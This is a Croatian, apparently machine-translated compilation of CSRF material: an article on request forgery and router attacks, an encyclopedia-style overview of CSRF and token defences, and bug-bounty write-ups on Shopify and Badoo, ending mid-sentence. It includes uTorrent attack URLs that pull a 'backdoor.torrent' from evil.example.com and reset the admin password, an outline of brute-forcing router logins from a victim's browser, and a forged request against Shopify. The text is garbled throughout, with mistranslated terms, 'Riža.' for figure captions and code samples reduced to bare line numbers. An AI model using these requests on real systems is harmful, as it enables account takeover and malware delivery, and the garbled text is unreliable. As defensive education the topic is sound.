Krivotvorenje zahtjeva na različitim mjestima – puno buke ni oko čega

Aleksandar Antipov

U U zadnje vrijeme Postoji rasprostranjena rasprava u zajednici sigurnosti web aplikacija o "novoj" vrsti ranjivosti koja se zove Cross-Site Request Forgery (CSRF ili XSRF). Članak koji donosimo pozornost čitatelja sadrži opis ove vrste ranjivosti, metode njezine upotrebe i glavne pristupe zaštiti.

Sergej Gordejčik

Gordey @ ptsecurity com

Nedavno je bilo mnogo rasprava u zajednici za sigurnost web aplikacija o "novoj" vrsti ranjivosti koja se zove Cross-Site Request Forgery (CSRF ili XSRF). Članak koji donosimo pozornost čitatelja sadrži opis ove vrste ranjivosti, metode njezine upotrebe i glavne pristupe zaštiti. Općeprihvaćeni ruski izraz za Cross-Site Request Forgery još nije uspostavljen, stoga autor predlaže korištenje opcije “HTTP Request Forgery”.

Lirska digresija

Prije svega, želio bih se zadržati na glavnim zabludama povezanim s CSRF-om:

1. Krivotvorenje HTTP zahtjeva nova je vrsta ranjivosti.

Ovo je daleko od istine. Teorijska razmišljanja o temi lažiranja izvora poruka datiraju iz 1988. (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), a praktični primjeri ranjivosti raspravljaju se u Bugtraqu od najmanje 2000. (http ://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Sam pojam uveo je Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) 2001. godine.

2. CSRF je varijanta Cross-Site Scripting (XSS).

Jedina sličnost između CSRF-a i XSS-a je korištenje klijenata web aplikacije kao vektora napada (napad na strani klijenta u WASC terminologiji http://www.webappsec.org/projects/threat/). CSRF ranjivosti mogu se iskoristiti zajedno s XSS-om ili "preusmjerivačima" (http://www..php), ali predstavljaju zasebnu klasu ranjivosti.

3. CSRF ranjivost nije česta i prilično ju je teško iskoristiti.

Podaci dobiveni od strane Positive Technologies tijekom testiranja prodora i sigurnosne procjene web aplikacija pokazuju da je većina web aplikacija osjetljiva na ovu ranjivost. Za razliku od drugih ranjivosti, CSRF se ne pojavljuje kao rezultat programskih pogrešaka, već je normalno ponašanje web poslužitelja i preglednika. Oni. Većina stranica koje koriste standardnu ​​arhitekturu ranjive su prema zadanim postavkama.

Primjer upotrebe

Pogledajmo korištenje CSRF-a na primjeru. Pretpostavimo da postoji web aplikacija koja šalje poruke E-mail. Korisnik zadaje e-mail adresu i tekst poruke, klikne gumb Pošalji i poruka s njegove adrese šalje se primatelju.

Riža. 1. Slanje poruke

Shema je poznata s mnogih stranica i ne izaziva nikakve primjedbe. Međutim, vrlo je vjerojatno da će navedena aplikacija biti ranjiva na napade krivotvorenja HTTP zahtjeva. Kako bi iskoristio ranjivost, napadač može stvoriti stranicu na svojoj web stranici koja sadrži poveznicu na "sliku", a zatim prisiliti korisnika da slijedi vezu na njegovu web stranicu (na primjer, http://bh.ptsecurity.ru/xcheck /csrf.htm).

Prilikom pristupa stranici, preglednik korisnika pokušava učitati sliku, za što kontaktira ranjivu aplikaciju, tj. šalje e-poruku primatelju navedenom u polju "za" zahtjeva.

Riža. 2. CSRF napad

Imajte na umu da će korisnički preglednik web mjestu poslati vrijednost kolačića, tj. zahtjev će se shvatiti kao da dolazi od autentificiranog korisnika. Kako bi prisilio korisnika da učita stranicu koja šalje zahtjev ranjivom poslužitelju, napadač može koristiti metode socijalni inženjering, kao i tehničke ranjivosti kao što su XSS i pogreške u implementaciji funkcije preusmjeravanja.

Riža. 3. Logika rada CSRF-a

Dakle, CSRF napad uključuje korištenje korisničkog preglednika za slanje HTTP zahtjeva proizvoljnim stranicama, a ranjivost je neuspjeh provjere izvora HTTP zahtjeva. Primjer aplikacije koristi HTTP GET metodu za prosljeđivanje parametara, što olakšava život napadaču. Međutim, nemojte pretpostavljati da korištenje POST metode automatski eliminira mogućnost napada krivotvorenjem HTTP zahtjeva. Stranica na poslužitelju napadača može sadržavati gotov HTML obrazac koji se automatski šalje kada se stranica pregleda.

Da bi iskoristio CSRF, napadač ne mora imati vlastiti web poslužitelj. Stranica koja pokreće zahtjev može se poslati e-poštom ili na neki drugi način.

Recenzija Billyja Hoffmana pokriva različite metode umrežavanja pomoću Javascripta. Svi oni, uključujući XmlHttxmpquest (u nekim situacijama), mogu se koristiti za implementaciju CSRF napada.

Nadam se da čitatelj do sada već razumije glavnu razliku između CSRF-a i XSS-a. U slučaju XSS-a, napadač dobiva pristup DOM-u (Document Object Model) ranjive stranice, kako za čitanje tako i za pisanje. Prilikom izvršavanja CSRF-a, napadač ima priliku poslati zahtjev poslužitelju koristeći korisnički preglednik, ali više neće moći primiti i analizirati odgovor poslužitelja, a još manje njegovo zaglavlje (na primjer, Cookie). Sukladno tome, “HTTP Request Forgery” omogućuje rad s aplikacijom u načinu rada “samo za pisanje”, što je, međutim, sasvim dovoljno za izvođenje pravih napada.

Glavne mete CSRF napada su razne interaktivne web aplikacije, kao što su sustavi e-pošte, forumi, CMS, sučelja daljinski upravljač mrežna oprema. Na primjer, napadač može slati poruke u ime drugih korisnika, dodavati nove račune ili mijenjati postavke usmjerivača putem web sučelja.

Riža. 4. Primjer korištenja CSRF-a na forumu

Pogledajmo pobliže posljednju - promjenu postavki mrežni uređaji. Autor već govori o bežičnim sustavima za detekciju napada, ali naravno, stvar nije ograničena na njih.

Probijamo perimetar

Prošlog prosinca Symantec je objavio izvješće o "novom" napadu pod nazivom "Drive-By Pharming", koji je u biti varijanta iskorištavanja CSRF-a. Napadač izvršava neku vrstu "čarobnog" JavaScripta u pregledniku korisnika koji mijenja postavke usmjerivača, na primjer, postavlja novu vrijednost DNS poslužitelja. Za izvođenje ovog napada morate riješiti sljedeće probleme:

Skeniranje portova pomoću JavaScripta;

Određivanje tipa Web aplikacije (otisak prsta);

Pogađanje lozinke i autentifikacija pomoću CSRF-a;

Promjena postavki hosta pomoću CSRF napada.

Tehnika skeniranja za određivanje dostupnosti web poslužitelja i njegove vrste softvera pomoću JavaScripta prilično je dobro razrađena i svodi se na dinamično stvaranje HTML objekti (npr. img src=) koji upućuju na razne interne URL-ove (npr. http://192.168.0.1/pageerror.gif). Ako je "slika" uspješno učitana, tada se na testiranoj adresi nalazi web poslužitelj temeljen na Microsoft IIS-u. Ako je odgovor primio pogrešku 404, tada je port otvoren i web poslužitelj radi na njemu. Ako je timeout prekoračen, poslužitelj nije na mreži ili je port blokiran na vatrozidu. Pa, u drugim situacijama - port je zatvoren, ali host je dostupan (poslužitelj je vratio RST paket, a preglednik je vratio grešku prije isteka vremena). U nekim situacijama, takvo skeniranje priključaka iz korisničkog preglednika može se izvesti bez upotrebe JavaScripta (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Nakon utvrđivanja vrste uređaja, napadač može pokušati natjerati korisnikov preglednik da odmah pošalje zahtjev za promjenu postavki. Ali takav će zahtjev biti uspješan samo ako korisnikov preglednik već ima aktivnu autentificiranu sesiju s uređaja. Imati pri ruci otvorena stranica upravljanje ruterom je loša navika mnogih "naprednih" korisnika.

Ako nema aktivne sesije sa sučeljem za upravljanje, napadač se mora autentificirati. Ako uređaj implementira autentifikaciju temeljenu na obrascima, nema problema. Korištenjem CSRF-a u POST-u, zahtjev za autorizacijom šalje se poslužitelju, nakon čega se s njega učitava slika (ili stranica) kojoj mogu pristupiti samo autentificirani korisnici. Ako je slika primljena, provjera autentičnosti je bila uspješna i možete nastaviti daljnje akcije, u protivnom pokušajte s drugom zaporkom.

Ako napadnuti uređaj implementira osnovnu autentifikaciju, zadatak postaje kompliciraniji. Internetski preglednik Explorer ne podržava mogućnost navođenja korisničkog imena i lozinke u URL-u (na primjer, http://user: [e-mail zaštićen]). U tom smislu, za izvođenje osnovne provjere autentičnosti može se koristiti metoda dodavanja HTTP zaglavlja pomoću Flasha, opisana u članku. Međutim, ova metoda funkcionira samo za starije verzije Flasha, kojih je sve rjeđe.

Ali drugi preglednici, poput Firefoxa, pružaju mogućnost navođenja korisničkog imena i lozinke u URL-u i mogu se koristiti za autentifikaciju na bilo kojem poslužitelju, a to se može učiniti bez generiranja poruke o pogrešci ako je lozinka netočna.

Primjer skripte za tihu provjeru autentičnosti korištenjem osnovne metode s bloga Stefana Essera dan je u nastavku.

Firefox HTTP Auth Bruteforcing

Riža. 5. Osnovna provjera autentičnosti u Firefoxu

U korporativnom okruženju gdje se često koriste SSO mehanizmi, kao što je na temelju domene Aktivni direktorij i protokole Kerberos i NTLM, iskorištavanje CSRF-a ne zahtijeva dodatni napor. Preglednik će se automatski autentificirati protiv sigurnosnog konteksta trenutnog korisnika.

Nakon što je autentifikacija prošla, napadač koristi JavaScript za slanje zahtjeva koji mijenja proizvoljne postavke usmjerivača, kao što je adresa DNS poslužitelja.

Metode zaštite

Prva stvar koja pada na pamet kada je u pitanju CSRF zaštita je provjera vrijednosti zaglavlja Referer. Doista, budući da krivotvorenje HTTP zahtjeva uključuje prijenos zahtjeva s trećeg mjesta, kontrola izvorne stranice, čiju adresu preglednik automatski dodaje u zaglavlja zahtjeva, može riješiti problem.

Međutim, ovaj mehanizam ima brojne nedostatke. Prvo, programer se suočava s pitanjem obrade zahtjeva koji nemaju Referer zaglavlje kao takvo. Mnogi od osobnih vatrozidi a anonimiziranje proxy poslužitelja isključuje Referer kao potencijalno nesigurno zaglavlje. Prema tome, ako poslužitelj ignorira slične zahtjeve, skupina “najparanoičnijih” građana neće moći s njim raditi.

Drugo, u nekim situacijama Referer zaglavlje može biti krivotvoreno, na primjer korištenjem već spomenutog Flash trika. Ako korisnik koristi IE 6.0, sadržaj zaglavlja zahtjeva može se modificirati kako bi se iskoristila greška u implementaciji XmlHttxmpquest. Ranjivost leži u mogućnosti korištenja znakova novog retka u nazivu HTTP metode, što omogućuje promjenu zaglavlja, pa čak i ubacivanje dodatnog zahtjeva. Ovu je ranjivost otkrio Amit Klein() 2005. i ponovno je otkrio 2007. Ograničenje ove metode je to što radi samo ako postoji HTTP proxy između korisnika i poslužitelja ili ako se poslužitelji nalaze na istoj IP adresi ali s različitim imenima domena.

Druga uobičajena metoda je dodavanje jedinstvenog parametra svakom zahtjevu, koji zatim potvrđuje poslužitelj. Parametar se može dodati u URL kada se koristi GET zahtjev, kao što je u ili kao skriveni parametar obrasca kada se koristi POST. Vrijednost parametra može biti proizvoljna, glavna stvar je da je napadač ne može predvidjeti, na primjer, vrijednost korisničke sesije.

Riža. 6. CSRF zaštita u Bitrixu

Kako biste svojoj aplikaciji brzo dodali funkciju provjere CSRF-a, možete koristiti sljedeći pristup:

1. Dodajte mali JavaScript svakoj generiranoj stranici, dodajući dodatni skriveni parametar svim obrascima, kojemu je dodijeljena vrijednost kolačića.

2. Provjerite na poslužitelju sadrže li podaci koje je klijent poslao metodom POST vrijednost jednaku trenutnoj vrijednosti kolačića.

Primjer takve klijentske skripte dan je u nastavku:

Daljnji razvoj ovog pristupa je pohranjivanje identifikatora sesije ne u kolačić, već kao skriveni parametar obrasca (na primjer, VIEWSTATE).

Kao metoda suzbijanja CSRF-a mogu se koristiti različite verzije Turingovih testova, na primjer, dobro poznate slike - CAPTCHA. Još jedna popularna opcija je zahtijevanje korisničke lozinke prilikom mijenjanja kritičnih postavki.

Riža. 7. CSRF zaštita u mail.ru

Dakle, Cross-Site Request Forgery napad je usmjeren na klijenta web aplikacije i koristi nedovoljnu provjeru izvora HTTP zahtjeva. Za zaštitu od takvih napada može se koristiti dodatna kontrola izvora zahtjeva na temelju Referer zaglavlja ili dodatnog "slučajnog" parametra.

Sergey Gordeychik radi kao sistemski arhitekt u tvrtki Positive Technologies, gdje se specijalizirao za sigurnost aplikacija, sigurnost bežičnih i mobilnih tehnologija. Autor je također glavni programer Sigurnosti bežične mreže“, „Analiza i procjena sigurnosti web aplikacija“ Informzashita trening centra. Objavio nekoliko desetaka članaka u “Windows IT Pro/RE”, SecurityLab i drugim publikacijama. Član je projekata Web Application Security Consortiuma (WASC).

Krivotvorenje zahtjeva između stranica, također poznato kao napad jednim klikom ili pogon sesije i skraćeno CSRF (ponekad se izražava tidal bore slušaj)) ili XSRF, vrsta je zlonamjernog softvera koji se iskorištava s web stranice gdje se šalju neovlaštene naredbe od korisnika kojem web aplikacija vjeruje. Postoji mnogo načina na koje zlonamjerno web mjesto može prenijeti takve naredbe; posebno izrađene oznake slika, skriveni obrasci i JavaScript XMLHttpRequests, na primjer, mogu raditi bez interakcije ili čak znanja korisnika. Za razliku od cross-site skriptiranja (XSS), koje iskorištava povjerenje koje korisnik ima za određenu stranicu, CSRF iskorištava povjerenje koje stranica ima u korisnikov preglednik.

priča

CSRF ranjivosti poznate su iu nekim slučajevima iskorištavane od 2001. Budući da se provodi s korisničke IP adrese, zapisi nekih web stranica možda neće sadržavati dokaze o CSRF-u. Pothvati su podcijenjeni od strane barem javno, a od 2007. bilo je nekoliko dobro dokumentiranih primjera:

• Web stranica Netflixa 2006. godine imala je brojne CSRF ranjivosti koje su napadaču mogle omogućiti izvođenje radnji kao što je dodavanje DVD-a žrtvinom redu čekanja za iznajmljivanje, promjena adrese za dostavu na računu ili promjena žrtvinih vjerodajnica za prijavu kako bi potpuno ugrozio račun.
• Web aplikacija za internetsko bankarstvo ING Direct bila je ranjiva na CSRF napade, dopuštajući ilegalne prijenose novca.
• Popularna video web stranica YouTube također je bila ranjiva na CSRF 2008. godine, a to je svakom napadaču omogućilo da izvede gotovo sve što svaki korisnik može.
• McAfee je također ranjiv na CSRF, što je omogućilo napadačima da modificiraju sustav njihove tvrtke.

U 2018. izvršeni su novi napadi na web uređaje, uključujući pokušaje promjene DNS postavke usmjerivači. Neki proizvođači usmjerivača požurili su objaviti ažuriranja firmvera kako bi poboljšali sigurnost i savjetovali korisnicima da promijene postavke usmjerivača kako bi smanjili rizik. Pojedinosti nisu objavljene, navodeći "očite sigurnosne razloge".

Primjer i karakteristike

Napadači koji mogu pronaći vezu koja se može ponoviti i koja izvodi određenu radnju na odredišnoj stranici dok se žrtva registrira, mogu ugraditi takvu vezu na stranicu koju kontroliraju i prevariti žrtvu da je otvori. Medijska poveznica napada može se postaviti na mjesto koje će žrtva najvjerojatnije posjetiti prijavom na ciljnu stranicu (kao što je rasprava na forumu) ili se može poslati u tijelu HTML e-pošte ili privitka. Stvarna CSRF ranjivost u UTorrentu (CVE-2008-6586) iskoristila je činjenicu da je njegova web konzola dostupna na localhost:8080 dopuštajući izvođenje kritičnih radnji jednostavnim GET zahtjevom:

Prisilno preuzimanje .torrent datoteke http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Promjena Utorrent administratorske lozinke http://localhost:8080/gui/action = setsetting & s = webui.lozinka & v = zli administrator

Napadi su pokrenuti postavljanjem zlonamjernih, automatiziranih HTML slikovnih elemenata na forume i neželjenu e-poštu, kako bi ih preglednici koji posjećuju te stranice automatski otvarali, bez puno radnje od strane korisnika. Osobe koje su pokretale ranjivu verziju Utorrenta u isto vrijeme kad su otvarale te stranice bile su podložne napadu.

CSRF napadi koji koriste oznake slika često se izvode s internetskih foruma na kojima korisnici mogu objavljivati ​​slike, ali ne i JavaScript, na primjer korištenjem BBCodea:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Prilikom pristupa poveznici za napad na lokalnoj Utorrent aplikaciji na localhost:8080, preglednik će također uvijek automatski poslati sve postojeće kolačiće za tu domenu. Ovo zajedničko svojstvo web preglednika omogućuje CSRF napadima da iskoriste svoje ciljne ranjivosti i izvedu neprijateljske radnje sve dok je korisnik prijavljen na ciljnu web stranicu (u ovom primjeru lokalni web- Utorrent sučelje) u trenutku napada.

Krivotvorenje zahtjeva između web stranica zbunjujući je proxy napad na web preglednik.

CSRF obično ima sljedeće karakteristike:

• Uključuje stranice koje se oslanjaju na identitet korisnika.
• Iskorištava povjerenje stranice u ovaj identitet.
• Prevari korisnikov preglednik da pošalje HTTP zahtjeve ciljanom mjestu.
• Uključuje HTTP zahtjeve koji imaju nuspojave.

HTTP glagoli i CSRF

• U HTTP GET-u, korištenje CSRF-a je trivijalno, korištenjem gore opisanih metoda, kao što je jednostavna hiperveza koja sadrži manipulirane parametre i automatski se učitava pomoću IMG oznake. Prema HTTP specifikaciji, međutim, GET bi se trebao koristiti kao sigurna metoda, odnosno bez značajnije promjene stanja korisnika u aplikaciji. Aplikacije koje koriste GET za takve operacije trebaju se prebaciti na HTTP POST ili koristiti CSRF zaštitu.
• HTTP POST ima različite CSRF ranjivosti, ovisno o detaljnim slučajevima upotrebe:
  • U svom najjednostavnijem obliku, POST s podacima kodiranim kao niz upita (field1=value1&field2=value2) CSRF napad lako se implementira pomoću jednostavnog HTML obrasca i moraju se primijeniti mjere protiv CSRF-a.
  • Ako se podaci prenose u bilo kojem drugom formatu (JSON, XML), standardna metoda je POST zahtjev koristeći XMLHttpRequest sa CSRF napade sprječavaju SOP i ; postoji metoda za podnošenje proizvoljnog sadržaja iz jednostavnog HTML obrasca pomoću atributa ENCTYPE; takav se lažni zahtjev može razlikovati od legitimnih po tipu teksta/običnog sadržaja, ali ako se to ne izvrši na poslužitelju, može se izvršiti CSRF
• druge HTTP metode (PUT, DELETE, itd.) mogu se izdati samo korištenjem XMLHttpRequest sa SOP i CSRF prevencijom; Međutim, ove mjere neće biti aktivne na web stranicama koje ih izričito onemoguće korištenjem Access-Control-Allow-Origin: * zaglavlja

Drugi pristupi CSRF-u

Osim toga, iako se obično opisuje kao statična vrsta napada, CSRF se također može dinamički konstruirati kao dio korisnog opterećenja za scenarije napada između web-mjesta, kao što je pokazao crv Samy, ili konstruirati u hodu iz informacija o sesiji koje su procurile putem sadržaja izvan web-mjesta i poslan na cilj kao zlonamjerni URL. CSRF tokene također može poslati zlonamjerni klijent zbog fiksacije sesije ili drugih ranjivosti ili ih može pogoditi napadom brutalne sile prevedenim u zlonamjernu stranicu koja generira tisuće neuspjelih zahtjeva. Klasu napada "Dynamic CSRF" ili korištenje opterećenja po klijentu za prijevaru specifičnu za sesiju opisali su 2009. Nathan Hamiel i Sean Moyer na BlackHat brifinzima, iako taksonomija tek treba dobiti širu primjenu.

Novi vektor za sastavljanje dinamičkih CSRF napada predstavio je Oren Ofer na sastanku lokalnog odjela OWASP-a u siječnju 2012. - "AJAX Hammer - Dynamic CSRF".

Posljedice

Izdani su indikatori ozbiljnosti za CSRF ranjivosti koje dovode do daljinskog izvršavanja koda s root privilegijama, kao i ranjivost koja može ugroziti korijenski certifikat, što bi u potpunosti potkopalo infrastrukturu javnog ključa.

Ograničenja

Mora se dogoditi nekoliko stvari da bi zahtjev za krivotvorenje na više web stranica uspio:

Napadač mora ciljati ili na web mjesto koje ne provjerava zaglavlje preporuke ili na žrtvu koja koristi preglednik ili dodatak koji dopušta lažiranje preporuke.

Napadač mora pronaći obrazac za podnošenje na ciljnoj stranici ili URL-u koji ima nuspojave da nešto radi (kao što je prijenos novca ili promjena adrese e-pošte ili lozinke žrtve).

Napadač mora odrediti ispravne vrijednosti za sve unose obrazaca ili URL-ova; ako bilo koji od njih ima tajne autentifikacijske vrijednosti ili identifikatore koje napadač ne bi mogao pogoditi, napad vjerojatno ne bi uspio (osim ako bi napadač imao puno sreće u pogađanju).

Napadač mora namamiti žrtvu na web stranicu koja sadrži zlonamjerni kod dok se žrtva prijavljuje na ciljnu stranicu.

Napad je slijep: napadač ne može vidjeti što ciljno mjesto šalje natrag žrtvi kao odgovor na krivotvorene zahtjeve osim ako ne iskorištava Cross-Site Scripting ili neku drugu pogrešku na ciljanom mjestu. Nadalje, napadač može ciljati samo bilo koju poveznicu ili poslati bilo koji obrazac koji dolazi nakon početnog krivotvorenog zahtjeva, sve dok su te sljedeće veze ili obrasci na sličan način predvidljivi. (Više ciljeva može se simulirati uključivanjem više slika na stranicu ili korištenjem JavaScripta za uvođenje odgode između klikova.)

S obzirom na ova ograničenja, napadač može imati poteškoća u pronalaženju anonimnih identiteta žrtava ili ranjivog oblika predstavljanja. S druge strane, pokušaji napada lako se montiraju i žrtve ih ne otkriju, a programeri aplikacija manje su upoznati i manje pripremljeni za CS napade nego za, recimo, napade iz rječnika za probijanje lozinki.

prevencija

Većina metoda prevencije CSRF-a radi ugrađivanjem dodatnih podataka za provjeru autentičnosti u zahtjeve, što web aplikaciji omogućuje otkrivanje zahtjeva s neovlaštenih lokacija.

Model markera sinkronizatora

• Nakon prijave, web aplikacija postavlja kolačić koji sadrži nasumični token koji ostaje nepromijenjen tijekom korisnikove sesije

Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=četvrtak, 23. srpnja 2015. 10:25:33 GMT; Maksimalna dob=31449600; Put=/

• JavaScript koji radi na strani klijenta čita vrijednost i kopira je u prilagođeno HTTP zaglavlje koje se šalje sa svakim transakcijskim zahtjevom

X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

• Poslužitelj provjerava prisutnost i integritet tokena

Sigurnost ove metode temelji se na pretpostavci da će samo JavaScript pokrenut unutar istog izvora moći pročitati vrijednost kolačića. JavaScript koji radi s lažnom datotekom ili adresom e-pošte neće moći čitati i kopirati u prilagođeno zaglavlje. Iako će kolačić CSRF tokena biti automatski poslan s lažnim zahtjevom, poslužitelj će i dalje očekivati ​​važeće zaglavlje X-CSRF tokena.

Sam CSRF token mora biti jedinstven i nepredvidiv. To se može generirati nasumično ili se može dobiti iz tokena sesije pomoću HMAC-a:

Csrf_token = HMAC(session_token, application_secret)

Token CS kolačića ne bi trebao imati oznaku HTTPOnly budući da je namijenjen za čitanje JavaScript dizajnom.

Ovu metodu implementiraju mnogi moderni okviri kao što su Django i AngularJS. Budući da token ostaje postojan tijekom korisničke sesije, dobro radi s AJAX aplikacijama, ali ne pruža slijed događaja u web aplikacijama.

Zaštita koju pruža ova metoda može biti osujećena ako ciljano web mjesto onemogući svoje pravilo istog podrijetla pomoću jedne od sljedećih metoda:

• Permissive Access-Control-Allow-Origin zaglavlje (sa zvjezdicom argumenta)
• clientaccesspolicy.xml datoteka koja dopušta nenamjeran pristup Silverlight kontrolama
• crossdomain.xml datoteka koja omogućuje nenamjeran pristup Flash filmovima

Dvostruko slanje kolačića

Slično pristupu od kolačića do zaglavlja, ali bez uključivanja JavaScripta, web mjesto može postaviti CSRF token kao kolačić i umetnuti ga u skriveno polje u svakom HTML obrazac, poslani klijent. Kada se obrazac pošalje, stranica može provjeriti odgovara li marker kolačića obliku markera. Pravila zajedničkog podrijetla sprječavaju napadače da čitaju ili postavljaju kolačiće na ciljnu domenu, tako da ne mogu postaviti važeći token u njihovom kreiranom obliku.

Prednost ove metode u odnosu na uzorak sinkronizatora je u tome što token ne mora biti pohranjen na poslužitelju.

Jamstva klijenta

Proširenja preglednika kao što je RequestPolicy (za Mozilla Firefox) ili Umatrix (oba za Firefox i Google Chrome/Chromium) mogu spriječiti CSRF pružanjem zadanih pravila odbijanja za zahtjeve s više stranica. Međutim, to može značajno ometati normalan rad mnogih stranica. Proširenje CsFire (također za Firefox) može ublažiti utjecaj CSRF-a s manjim utjecajem na normalno pregledavanje uklanjanjem informacija o autentifikaciji iz zahtjeva između stranica.

Cross Site Request Forgery ili CSRF napad je koji se događa kada zlonamjerna stranica, e-pošta, poruka, aplikacija ili bilo što drugo uzrokuje da korisnikov preglednik izvede neku radnju na drugoj stranici na kojoj je taj korisnik već autentificiran. Često se to događa bez znanja korisnika.

Šteta uzrokovana CSRF napadom ovisi o mjestu koje prima akciju. Evo primjera:

Bob ulazi u svoj osobni račun u klijentu internetskog bankarstva, obavlja neke operacije, ali se ne odjavljuje.

Bob provjerava svoju e-poštu i klikne na vezu koja ga vodi na nepoznatu stranicu.

Nepoznata stranica šalje zahtjev online klijentu Bobove banke za prijenos novca, prosljeđujući podatke u Bobov kolačić koji je spremljen iz njegove prethodne sesije.

Stranica Bob's Bank prihvaća zahtjev s nepoznate (zlonamjerne) stranice bez korištenja CSRF tokena i izvodi prijevod.

Još je zanimljivija situacija kada poveznica na zlonamjernu
stranica može biti sadržana u važećem HTML-u, zahvaljujući kojem Bo-
Ne morate ni kliknuti na link: . Ako Bobov uređaj (na primjer, preglednik) prikazuje
Ova će slika poslati zahtjev malicious_site.com i potencijalno izazvati CSRF napad.

Sada kada ste svjesni opasnosti od CSRF napada, možete se zaštititi od njih na više načina, od kojih je najpopularniji možda korištenje CSRF tokena, koji se mora poslati uz svaki zahtjev koji bi potencijalno mogao izmijeniti podatke ( kao što su POST zahtjevi). Web aplikacija (kao što je Bobovo online bankarstvo) morat će generirati token koji se sastoji od dva dijela, od kojih će jedan Bob primiti, a drugi će biti pohranjen u aplikaciji.

Kada Bob pokuša podnijeti zahtjev za prijenos novca, morat će poslati token, čija će valjanost biti potvrđena od strane banke pomoću tokena pohranjenog u aplikaciji.

Sada kada znamo za CSRF i CSRF tokene, Cross Origin Resource Sharing (CORS) ima više smisla, iako sam to možda tek primijetio dok sam istraživao nove ciljeve. Općenito, CORS ograničava popis resursa koji mogu pristupiti podacima. Drugim riječima, kada se CORS koristi za osiguranje web-mjesta, možete napisati Javascript za pozivanje ciljane aplikacije, pročitati odgovor i uputiti drugi poziv ako vam ciljno mjesto to dopušta.

Ako se ovo čini zbunjujućim, pokušajte upotrijebiti Javascript za poziv na HackerOne.com/activity.json, pročitajte odgovor i uputite drugi poziv. Također ćete vidjeti važnost ovoga i moguća rješenja u primjeru #3 u nastavku.

Na kraju, važno je napomenuti (hvala Jobertu Abmi što je ovo istaknuo) da nije svaki zahtjev bez CSRF tokena nevažeći. Neka mjesta mogu provoditi dodatne provjere, kao što je usporedba izvornog zaglavlja (iako nije zajamčeno da je sigurno i postoje poznati slučajevi zaobilaženja). Ovo je polje koje identificira adresu stranice koja povezuje na traženi izvor. Drugim riječima, ako izvorna strana (preporuka)

upućuje POST poziv s web-mjesta koje nije isto s web-mjesta koje je primilo HTTP zahtjev, web-mjesto možda neće dopustiti da poziv postigne isti učinak kao korištenjem CSRF tokena. Osim toga, ne koristi svaka stranica pojmove csrf pri stvaranju ili definiranju tokena. Na primjer, na Badoou ovo je rt parametar, kao što je opisano u nastavku.

Pročitajte vodič za OWASP testiranje za CSRF

Primjeri 1. Izvoz instaliranih Shopify korisnika

Težina: Niska
Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users

Opis:

Shopify API pruža krajnju točku za izvoz popisa instaliranih korisnika putem gore prikazanog URL-a. Ranjivost je bila u tome što je web mjesto moglo uputiti zahtjev ovoj krajnjoj točki i primiti informacije kao odgovor, jer

Shopify nije upotrijebio CSRF token za potvrdu ovog zahtjeva. Kao rezultat toga, sljedeći HTML kôd mogao bi se koristiti za podnošenje obrasca u ime žrtve koja ništa ne sumnja.

1 2 csrf 3 4 7 8 9

U ovom primjeru, jednostavnim posjetom Javascript stranicešalje obrazac koji uključuje GET zahtjev za Shopify API koristeći Shopify kolačiće postavljene u pregledniku žrtve.

zaključke

Povećajte razmjere svojih napada i potražite pogreške ne samo na web mjestu, već iu API-ju. Krajnje točke API-ja također su potencijalni put za iskorištavanje, pa je vrijedno imati ovo na umu, posebno ako znate da je API možda razvijen ili dostupan nakon što je stvoreno web sučelje.

2. Odspojite Shopify s Twittera

Težina: Niska
Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

Shopify pruža Twitter integraciju koja omogućuje vlasnicima trgovina tweetanje o njihovim proizvodima. Slično, usluga vam omogućuje da prekinete vezu Twitter računa s povezanom trgovinom.

Gore je naveden URL za onemogućavanje vašeg Twitter računa iz trgovine. Prilikom podnošenja zahtjeva, Shopify nije potvrdio CSRF token, što je napadaču omogućilo stvaranje lažne poveznice koja bi, kada se klikne, uzrokovala da nesuđeni vlasnik trgovine isključi svoju trgovinu s Twittera.

U opisu ranjivosti, WeSecureApp je dao sljedeći primjer ranjivog zahtjeva; imajte na umu da upotreba img oznake upućuje poziv na ranjivi URL:

1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accept: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Kolačić: _twitter-commerce_session=REDIGOVANO 12 >Konekcija: Keep-alive

Budući da preglednik šalje GET zahtjev za dobivanje slike s proslijeđenog URL-a, a CSRF token nije potvrđen, prilagođena pohrana sada je onemogućena:

1 2 3 5 6

zaključke

U ovoj situaciji, opisana ranjivost mogla se pronaći pomoću proxy poslužitelja kao što je Burp ili Firefox Tamper Data, samo gledanjem zahtjeva poslanog Shopifyju i uvidom da je zahtjev napravljen korištenjem GET zahtjeva. Budući da je ovo ometalo i GET zahtjevi ne bi trebali promijeniti podatke na poslužitelju, vrijedi istražiti.

3. Dovršite preuzimanje računa na Badoou

Težina: Srednja
Url: https://badoo.com
Link za prijavu: https://hackerone.com/reports/12770312
Datum izvješća: 1. travnja 2016
Isplaćena nagrada: 852 dolara

Opis:

Ako pogledate Badoo, oni štite od CSRF-a uključivanjem rt parametra u URL, koji ima samo 5 znakova (barem u vrijeme pisanja). Iako sam to primijetio kad je Badoo pokrenuo kampanju na HackerOneu, nisam pronašao način da to iskoristim. Međutim, Mahmoud Jamal (zombiehelp54) ga je pronašao.

Nakon što je razumio značenje parametra rt, također je primijetio da se parametar vraća u gotovo svim json odgovorima. Nažalost, ovo nije pomoglo jer CORS štiti Badoo od napada čitanjem ovih odgovora. Mahmoud je nastavio potragu.

Ispostavilo se da datoteka https://eu1.badoo.com/worker-scope/chrome-ser sadrži vrijednost rt. Ono što je bilo još bolje je da je ova datoteka
napadač mogao proizvoljno pročitati i nije zahtijevao
